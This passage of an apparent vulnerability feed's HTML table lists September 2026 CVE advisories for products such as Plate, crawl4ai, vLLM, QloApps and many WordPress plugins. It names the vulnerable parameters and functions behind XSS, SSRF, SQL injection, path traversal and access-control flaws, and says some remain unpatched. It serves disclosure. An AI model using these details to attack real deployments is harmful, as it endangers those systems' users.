&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-45023&quot; target=&quot;_blank&quot;&gt;CVE-2023-45023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;udecode--plate&lt;/td&gt;
&lt;td&gt;Plate is a rich-text editor with AI and shadcn/ui. Prior to 53.3.11, and in the discontinued 54.0.0-beta.0 through 54.0.0-beta.1 builds, Plate core HTML deserialization APIs parse supplied HTML strings in the active document. When an application passes untrusted or cross-user HTML to these APIs, certain HTML attributes can trigger browser behavior before the HTML is converted into editor nodes. This can allow attacker-controlled script to execute in the consuming application&#039;s origin when another user loads the deserialized content. This issue is fixed in version 53.3.11.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88976&quot; target=&quot;_blank&quot;&gt;CVE-2026-88976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unclecode--crawl4ai&lt;/td&gt;
&lt;td&gt;crawl4ai versions before 0.9.3 contain a DOM-based cross-site scripting vulnerability in the Playground UI where the forceHighlightElement() function assigns textContent back to innerHTML, re-parsing JSON responses as HTML. Attackers can inject malicious scripts through crawled page content like the page title to steal the operator&#039;s API token from sessionStorage and gain full server control.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91944&quot; target=&quot;_blank&quot;&gt;CVE-2026-91944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;unclecode--crawl4ai&lt;/td&gt;
&lt;td&gt;crawl4ai before 0.9.3 contains a DOM-based cross-site scripting vulnerability in the Docker Playground UI that assigns untrusted crawl results to element.innerHTML. Attackers can craft malicious PDFs with event-handler markup to execute JavaScript in the Playground origin and steal API tokens from sessionStorage for authenticated API abuse.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91942&quot; target=&quot;_blank&quot;&gt;CVE-2026-91942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Unlimited Elements--Unlimited Elements For Elementor (Free Widgets, Addons, Templates)&lt;/td&gt;
&lt;td&gt;Contributor Server Side Request Forgery (SSRF) in Unlimited Elements For Elementor (Free Widgets, Addons, Templates) &amp;lt;= 2.0.19 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66608&quot; target=&quot;_blank&quot;&gt;CVE-2026-66608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vas3k--TaxHacker&lt;/td&gt;
&lt;td&gt;A flaw has been found in vas3k TaxHacker up to 0.8.5. Affected by this vulnerability is the function testLLMProviderAction of the file app/(app)/apps/settings/actions.ts. Executing a manipulation of the argument provider/apiKey/model/baseUrl can lead to server-side request forgery. The attack may be performed from remote. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94040&quot; target=&quot;_blank&quot;&gt;CVE-2026-94040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vendurehq--vendure&lt;/td&gt;
&lt;td&gt;Vendure is an open-source headless commerce platform. Prior to 3.6.5, the public Shop API products, collections, and facets queries combine mandatory visibility guards with caller-supplied filters using the caller-controlled filterOperator. When filterOperator is OR, a predicate matching a hidden entity can bypass the Product.enabled, Collection.isPrivate, or Facet.isPrivate guard. An unauthenticated caller can therefore retrieve disabled products and private collections or facets. This issue is fixed in version 3.6.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63461&quot; target=&quot;_blank&quot;&gt;CVE-2026-63461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Verizon--Verizon Cloud for Android&lt;/td&gt;
&lt;td&gt;Verizon Cloud for Android (com.vcast.mediamanager) before 26.7.10 contains a path traversal vulnerability that allows co-resident malicious applications to write attacker-controlled bytes outside the intended staging directory by supplying a crafted _display_name value containing path-traversal sequences through exported activities OneTouchUploadActivity and PrintShopCloudActivity. Attackers can exploit the unsanitized filename concatenation in the file-staging sink via ACTION_SEND or ACTION_SEND_MULTIPLE intents to achieve arbitrary file write and inject attacker-controlled content into the authenticated user&#039;s Verizon Cloud account without user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89038&quot; target=&quot;_blank&quot;&gt;CVE-2026-89038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vgmstream--vgmstream&lt;/td&gt;
&lt;td&gt;A weakness has been identified in vgmstream up to r2117. Impacted is the function vadpcm_read_coefs_be of the file src/coding/vadpcm_decoder.c of the component EA SCHl parser. This manipulation of the argument entry/entries causes out-of-bounds write. Remote exploitation of the attack is possible. Patch name: ae37662ad626254ddd96ad69ac263792d7a92024. It is suggested to install a patch to address this issue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92880&quot; target=&quot;_blank&quot;&gt;CVE-2026-92880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vgmstream--vgmstream&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in vgmstream up to r2117. This issue affects the function parse_mus of the file src/meta/mus_acm.c. The manipulation results in resource consumption. The attack may be launched remotely. The patch is identified as ae37662ad626254ddd96ad69ac263792d7a92024. Applying a patch is advised to resolve this issue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92879&quot; target=&quot;_blank&quot;&gt;CVE-2026-92879&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vgmstream--vgmstream&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in vgmstream. The affected element is the function init_vgmstream_awb_memory of the file src/meta/awb.c of the component AWB parser. Such manipulation leads to divide by zero. The attack can be executed remotely. The name of the patch is ae37662ad626254ddd96ad69ac263792d7a92024. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92881&quot; target=&quot;_blank&quot;&gt;CVE-2026-92881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vLLM&lt;/td&gt;
&lt;td&gt;A vulnerability was found in vllm-project vLLM 0.26.0/0.27.0. Affected is the function MoRIIOConnectorScheduler.request_finished/MoRIIOConnectorWorker.get_finished/MoRIIOWrapper._handle_release_message of the file vllm/distributed/kv_transfer/kv_connector/v1/moriio/moriio_connector.py of the component MoRIIO Acknowledgement Handler. Performing a manipulation of the argument request_id/kv_transfer_params results in resource consumption. It is possible to initiate the attack remotely. The project was informed of the problem early through a pull request but has not reacted yet.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92220&quot; target=&quot;_blank&quot;&gt;CVE-2026-92220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vLLM&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in vllm-project vLLM up to 0.27.1. This affects an unknown part of the file /v1/chat/completions of the component Jinja Template Rendering. This manipulation of the argument chat_template causes resource consumption. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90878&quot; target=&quot;_blank&quot;&gt;CVE-2026-90878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM is an inference and serving engine for large language models. Prior to 0.24.0, the input_audio handling path for /v1/chat/completions calls AudioMediaIO.load_bytes or AudioMediaIO.load_file without passing VLLM_MAX_AUDIO_DECODE_DURATION_S to the shared audio decoder. An unauthenticated client can therefore submit a small compressed audio input that expands into a very large float32 PCM allocation, bypassing the duration guard already used by /v1/audio/transcriptions and causing an out-of-memory worker crash. Inline data URLs reach this path without being bounded by VLLM_AUDIO_FETCH_TIMEOUT. The issue affects deployments serving an audio-capable model, and authentication changes only the deployment-specific reachability. This issue is fixed in version 0.24.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57173&quot; target=&quot;_blank&quot;&gt;CVE-2026-57173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;vLLM is an inference and serving engine for large language models. Prior to 0.28.0, request bodies for Chat Completions and Responses can set media_io_kwargs.video.video_backend to pynvvideocodec, and MediaConnector.fetch_video forwards that choice to VideoMediaIO even when startup configuration selected a software decoder. The engine&#039;s _reserve_mm_ipc_gpu_memory logic budgets decoder memory only from static configuration, so the request-selected VIDEO_LOADER_REGISTRY backend can create a CUDA context, decoder surfaces, and decoded-frame allocations that were not removed from the engine&#039;s KV-cache budget. An attacker able to submit video requests to a video-capable GPU deployment with PyNvVideoCodec installed can exhaust shared GPU memory, causing request failures, worker crashes, or denial of service. The first release containing the fix is version 0.28.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69147&quot; target=&quot;_blank&quot;&gt;CVE-2026-69147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vllm-project--vllm&lt;/td&gt;
&lt;td&gt;A vulnerability was found in vllm-project vllm up to 0.29.0. Affected by this issue is some unknown functionality of the file vllm/v1/sample/thinking_budget_state.py. The manipulation results in inefficient algorithmic complexity. It is possible to launch the attack remotely. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92365&quot; target=&quot;_blank&quot;&gt;CVE-2026-92365&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vowelweb--Ibtana Ecommerce Product Addons&lt;/td&gt;
&lt;td&gt;The Ibtana - Ecommerce Product Addons plugin for WordPress is vulnerable to unauthorized post meta modification due to a missing capability check on the &#039;iepa_use_gt_editor&#039; AJAX action in all versions up to, and including, 0.4.7.7. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update or delete arbitrary post meta entries via the &#039;iepa_builder&#039; meta key.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1984&quot; target=&quot;_blank&quot;&gt;CVE-2026-1984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;vowelweb--VW Writer Blog&lt;/td&gt;
&lt;td&gt;The VW Writer Blog theme for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the &#039;vw_writer_blog_reset_all_settings&#039; function in all versions up to, and including, 1.3.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to reset all theme customizer settings to their defaults.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2278&quot; target=&quot;_blank&quot;&gt;CVE-2026-2278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WangYihang--GitHacker&lt;/td&gt;
&lt;td&gt;GitHacker is a tool that restores Git repositories from exposed .git directories. In 1.1.7 and earlier, add_head_file_tasks parses an attacker-controlled ref path from .git/HEAD and joins unvalidated path segments onto temp_dst/.git/logs/, allowing a malicious server to make GitHacker read an arbitrary local file when a victim runs the tool against the server&#039;s URL. add_hashes_parsed then scans the file for 40-character hexadecimal substrings and requests each match through .git/objects using the first two characters and remaining characters as path components, creating an attacker-observable existence oracle and disclosing matching hexadecimal fragments. Complete file contents are not returned, and the add_folder and add_task write path in shipped version 1.1.7 does not permit an escape. This issue is fixed in repository version 1.1.9.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50024&quot; target=&quot;_blank&quot;&gt;CVE-2026-50024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webaways--NEX-Forms Ultimate Forms Plugin for WordPress&lt;/td&gt;
&lt;td&gt;The NEX-Forms - Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to generic SQL Injection via the &#039;additional_params&#039; parameter in all versions up to, and including, 9.3.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The operator allowlist applied by get_table_records() when building its own WHERE fragment is not enforced on the same tainted additional_params array when it is forwarded to get_total_records(), leaving the SQL sink unprotected.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75961&quot; target=&quot;_blank&quot;&gt;CVE-2026-75961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--Aureus ERP&lt;/td&gt;
&lt;td&gt;Aureus ERP through 1.6.0 stores the Payment Term note field unsanitized and renders it as raw HTML in the Accounting plugin. Authenticated users with payment-term create permission can submit arbitrary JavaScript to the payment-terms endpoint, which persists to the database and executes in browsers of all users viewing that Payment Term record.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93454&quot; target=&quot;_blank&quot;&gt;CVE-2026-93454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Webkul--QloApps&lt;/td&gt;
&lt;td&gt;QloApps through 1.7.0 reflects unescaped child feature names into back-office validation error messages in the Hotel Reservation System feature management page. Authenticated back-office users who follow a crafted link can execute injected JavaScript in their administrative session via the child_features parameter.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92234&quot; target=&quot;_blank&quot;&gt;CVE-2026-92234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;webkul--qloapps&lt;/td&gt;
&lt;td&gt;QloApps through 1.7.0 contains a path traversal vulnerability in the getEmailHTML action of admin/ajax.php that allows authenticated back-office users to read arbitrary files. Attackers can supply relative path sequences in the email parameter to bypass directory restrictions and access sensitive files including database credentials and configuration data.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93988&quot; target=&quot;_blank&quot;&gt;CVE-2026-93988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;winfsp--winfsp&lt;/td&gt;
&lt;td&gt;WinFsp through 2.2.26215 contains a null pointer dereference vulnerability in the kernel driver&#039;s Fast I/O device control handler that fails to validate the volume context before use. An unprivileged local user can trigger a denial of service by opening the WinFsp control device and issuing FSP_IOCTL_TRANSACT requests, causing a system crash.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93689&quot; target=&quot;_blank&quot;&gt;CVE-2026-93689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wipeoutmedia--CSS &amp;amp; JavaScript Toolbox&lt;/td&gt;
&lt;td&gt;The CSS &amp;amp; JavaScript Toolbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 12.0.6 via the Assignment Engine fields. This is due to insufficient input sanitization and output escaping on assignment data fields including Expressions, URLs, and Advanced assignment data. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the CJT block edit screen in the admin dashboard.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-13533&quot; target=&quot;_blank&quot;&gt;CVE-2025-13533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wordlift--WordLift AI powered SEO Schema&lt;/td&gt;
&lt;td&gt;The WordLift - AI powered SEO - Schema plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.54.10 via the JSON-LD REST API endpoints. This is due to the plugin registering the /wordlift/v1/jsonld/ routes (jsonld/{id}, jsonld/http/{item_id}, jsonld/post-meta/{meta_key}, jsonld/meta/{meta_key}, and jsonld/{post_type}/{post_name}) with a permission_callback of &#039;__return_true&#039; and the downstream converter retrieving the post via get_post() without verifying the post status or the requesting user&#039;s capabilities. This makes it possible for unauthenticated attackers to read the title, content/description, author, publication and modification dates, word count, comment count, and other metadata of private, draft, and pending posts by enumerating post IDs, bypassing WordPress core access controls.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9289&quot; target=&quot;_blank&quot;&gt;CVE-2026-9289&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wordplus--Better Messages Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots&lt;/td&gt;
&lt;td&gt;The Better Messages - Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;icn&#039; parameter in all versions up to, and including, 2.15.22 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18555&quot; target=&quot;_blank&quot;&gt;CVE-2026-18555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wordplus--Better Messages Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots&lt;/td&gt;
&lt;td&gt;The Better Messages - Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 2.15.33. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with custom-level access and above, to access the full message transcript, thread metadata, and user data of any chat-room thread without authentication. This is only exploitable when the chat room&#039;s only_joined_can_read setting retains its default value of &#039;0&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89334&quot; target=&quot;_blank&quot;&gt;CVE-2026-89334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wordplus--Better Messages Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots&lt;/td&gt;
&lt;td&gt;The Better Messages - Chat Rooms, Group Chat, Private Messages &amp;amp; AI Chat Bots plugin for WordPress is vulnerable to Information Exposure by Spoofing in all versions up to, and including, 2.15.33. This is due to the `is_ai_bot_user()` function identifying privileged internal AI bot accounts by performing a prefix check for `&#039;ai-chat-bot-&#039;` against a guest record&#039;s stored IP address, which is populated verbatim from the client-controlled `X-Real-IP` request header during unauthenticated guest registration. This makes it possible for unauthenticated attackers to register a guest identity that the plugin treats as its own internal AI bot, bypassing the per-room role allowlist, draft-status check, and join filters - which are all short-circuited by the bot check in `user_can_join()` and `user_can_read()` - to join administrator-restricted chat rooms, post messages into them, and read the private message history of other users.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89093&quot; target=&quot;_blank&quot;&gt;CVE-2026-89093&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wowelements--Wow Elements Addons for Elementor&lt;/td&gt;
&lt;td&gt;The Wow Elements Addons for Elementor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.11.2. This is due to the plugin passing user-controlled input from the &#039;Changelog File&#039; setting directly to the wp_remote_get function without adequate validation or sanitization of the URL. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1641&quot; target=&quot;_blank&quot;&gt;CVE-2026-1641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WP ManageNinja LLC--FluentAuth&lt;/td&gt;
&lt;td&gt;Insufficient Verification of Data Authenticity vulnerability in WP ManageNinja LLC FluentAuth allows Identity Spoofing. This issue affects FluentAuth: from n/a through 2.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78296&quot; target=&quot;_blank&quot;&gt;CVE-2026-78296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp.insider--Simple Membership&lt;/td&gt;
&lt;td&gt;Contributor Broken Access Control in Simple Membership &amp;lt;= 4.8.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74000&quot; target=&quot;_blank&quot;&gt;CVE-2026-74000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpblockart--Magazine Blocks Blog Designer, Magazine &amp;amp; Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid&lt;/td&gt;
&lt;td&gt;The Magazine Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the News Ticker block&#039;s clientId attribute in versions up to, and including, 1.8.6. This is due to insufficient input sanitization and output escaping in the NewsTicker::render() method, which concatenates the clientId block attribute into an HTML class attribute without applying esc_attr(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75016&quot; target=&quot;_blank&quot;&gt;CVE-2026-75016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpblockart--Magazine Blocks Blog Designer, Magazine &amp;amp; Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid&lt;/td&gt;
&lt;td&gt;The Magazine Blocks - Blog Designer, Magazine &amp;amp; Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.8.6. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to demote administrator-owned published builder templates (header, footer, front page, single, archive, 404, and search) to draft status and replace them with attacker-authored block content rendered site-wide, enabling defacement, phishing, and SEO spam. This is possible because the mzb-builder-template post type is registered with capability_type=&#039;post&#039; and exposed via the REST API, and the _mzb_template meta key is accessible to any user with edit_posts capability, meaning Contributor-level users and above can trigger the vulnerable save_post() hook.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75017&quot; target=&quot;_blank&quot;&gt;CVE-2026-75017&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpchill--Strong Testimonials&lt;/td&gt;
&lt;td&gt;The Strong Testimonials plugin for WordPress is vulnerable to Stored Cross-Site Scripting via &#039;lightbox_class&#039; Shortcode Attribute in all versions up to, and including, 3.3.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that the targeted testimonial view has at least one published testimonial with a featured image and the lightbox wrapper enabled, as the vulnerable code path is only reached when a thumbnail is rendered.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92622&quot; target=&quot;_blank&quot;&gt;CVE-2026-92622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpdevelop--Booking Calendar&lt;/td&gt;
&lt;td&gt;The Booking Calendar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the &#039;options&#039; parameter in all versions up to, and including, 11.8.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. The nonce check is bypassed by default because the &#039;booking_is_nonce_at_front_end&#039; option ships disabled, allowing unauthenticated requests to reach the vulnerable sink without any verification.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92561&quot; target=&quot;_blank&quot;&gt;CVE-2026-92561&lt;/a&gt;&lt;/td&gt;
